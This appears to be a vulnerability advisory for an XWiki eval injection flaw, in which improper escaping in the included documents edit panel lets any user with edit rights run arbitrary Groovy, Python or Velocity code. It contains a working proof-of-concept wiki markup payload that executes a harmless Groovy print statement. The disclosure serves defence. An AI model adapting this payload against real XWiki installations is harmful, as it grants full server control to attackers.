Overview

Affected versions of this package are vulnerable to Eval Injection such that any user with edit rights can execute arbitrary Groovy, Python or Velocity code in XWiki leading to full access to the XWiki installation. The root cause is improper escaping of the included pages in the included documents edit panel.

PoC

A proof of concept exploit is to edit a document and add the following code before saving.

{{display reference="{{cache~}~}{{groovy~}~}println(~"Hello from Groovy~" + ~" in included document!~"){{/groovy~}~}{{/cache~}~}"/}}

expected The right had side panels contain:

One included page: 
{{cache}}{{groovy}}println("Hello from Groovy" + " in included document!"){{/groovy}}{{/cache}}

actual The right had side panels contain:

One included page:
    XWiki.Hello from Groovy in included document!
